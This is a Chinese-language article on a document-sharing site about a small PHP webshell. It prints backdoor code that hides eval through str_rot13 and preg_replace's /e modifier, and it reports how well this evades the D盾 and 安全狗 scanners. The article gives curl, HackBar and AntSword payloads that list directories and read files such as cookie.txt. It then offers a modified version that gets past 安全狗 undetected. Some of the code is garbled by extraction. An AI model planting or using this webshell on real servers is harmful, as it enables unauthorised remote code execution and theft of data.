- 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
- 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
一只有趣的PHP小马
11/15/2019
最近看到一个php后门,后门代码如下,感觉还是很强大的,后门代码如
下:
?php($b4dboy=$_POST[b4dboy])
@preg_replace(/ad/e,@.str_rot13(riny).($b4dboy),add);?
免杀效果
乍一看还真不知道该怎么去利用,查了下相关资料,首先利用D盾去扫描
提示,如下
只是发现可以的str_rot13函数且级别只是1,在线检测了下,只有两个杀
软报毒,免杀还是很不错的,
安全狗还是能查杀出来的,并且会对菜刀和蚁剑连接进行拦截,所以在扫
描web马时,除了D盾外,也可以试试安全狗。
小马介绍
能过这么多杀软主要是因为利用了str_rot13函数,str_rot13(riny)输
出为eval,还有一个利用了preg_replace函数,该函数结构如下
preg_replace ( mixed pattern, mixed replacement, mixed subject
[, int limit])
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代
码来执行,要保证 replacement 构成一个合法的 PHP 代码字符串,该正
则在被正确的匹配到后,传入的string被当做函数来运行。
测试发现该后门可用于php版本5.3、5.4;PHP5.5.0起,传入\e修
饰符的时候,会产生一个 E_DEPRECATED 错误;PHP7.0.0起,会
有 E_WARNING 错误,同时\e也无法起效。
小马连接方式
?利用hackerbar连接
此处传入的system(ls),可成功返回数据,如下图
在利用file_get_contents在进行文件读取时发现,利用echo无法打印,
但是print可以
?利用curl连接
利用curl扫描目录获取相关信息:
curl31/test1.php--datab4dboy=print_r
(scandir(/var/www/html,1))
读取文件内容:
curl31/test1.php--datab4dboy=print
file_get_contents(cookie.txt)
curl31/test1.php--datab4dboy=\echo
file_get_contents(cookie.txt);\
?中国蚁剑连接
先来看下蚁剑这个payload:
b4dboy=(eval($_POST[1]);)1=var_dump(1);需要配置下蚁剑的body
才能连接
拦截蚁剑连接shell的数据包,本次抓取的获取phpinfo信息的数据包,
精简后数据包如下:
在连接其他shell的时候直接指定密码即可,不需要指定body,常规的一
句话马获取phpinfo拦截数据包如下可返回正常数据:
本次测试的后门利用该方法获取info,只是返回200,但无相关内容
但是将数据包改为123=phpinfo();die();b4dboy=(eval($_POST[123])),
即可成功返回数据
一直在纠结为什么必须要在post包中在增加个eval呢,通过本地测试发现,如果不加的话输出如下,发现preg_replace函数语法错误
如果手动加上eval后,preg_replace函数相当于直接输出了执行后的结
果,也就不会报错了
小马改良版
那么这样的话是不是把后门中的eval删除,也能利用蚁剑连接成功?后门
修改如下确实可连接成功
先开启安全狗检测下看看,竟然没有检测出来,哈哈
然后连接下试试,安全狗竟然没有拦截,蚁剑可以成功连接。。。。。
利用hackerbar也可以正常获取文件
但是在利用file_get_contents()函数进行文件读取时,发现竟然没有数
据,查了半天,无意间看了下网页源码,好吧竟然在源码中
查找相关资料发现,echo不是一个函数,所以无法直接进行调用,如果想利用
acho打印,需要修改格式如下:
您可能关注的文档
- 6.1.7《互联网信息服务算法备案系统使用手册》.pdf
- 《基于SDP与DNS融合的零信任安全增强策略模型》 conv 1.docx
- 6.1.9《数据出境申报系统使用说明》 conv.docx
- 智能与预测性故障转移迈向弹性的错误对抗之路.pdf
- 2024年DeepSeek-V2模型技术报告经济高效的混合专家语言模型 英文版.pdf
- 安般易恒智能模糊测试系统V4.8.6_技术白皮书 conv.docx
- 【产品彩页】山石网科入侵检测防御系统v5.5.pdf
- 搭建虚拟网络环境 conv.docx
- 2025医疗领域人工智能信任构建:协同推进之道白皮书(英文版) conv.docx
- 基于docker的应急处置命令 conv.docx
最近下载
- 圣诞快乐劳伦斯先生-Merry-Christmas-Mr-Lawrence-简谱+五线谱.pdf VIP
- 天府大悦城招商手册20220308(1)(1)(3).pdf VIP
- 流量计安装施工方案.docx VIP
- 安全技术交底记录表(动火作业).doc VIP
- 2025年常德烟草机械有限责任公司真题.docx VIP
- 带头讲安全课件.ppt VIP
- 幼儿园园长证考试试卷及答案.docx
- 安徽省蚌埠市(2024年-2025年小学六年级语文)统编版小升初模拟(上学期)试卷及答案.docx VIP
- 2025年供电所党支部书记抓基层党建工作述职述责述廉报告.docx VIP
- IMC的效果評估--IMC的總體暴露量分析.ppt VIP
原创力文档


文档评论(0)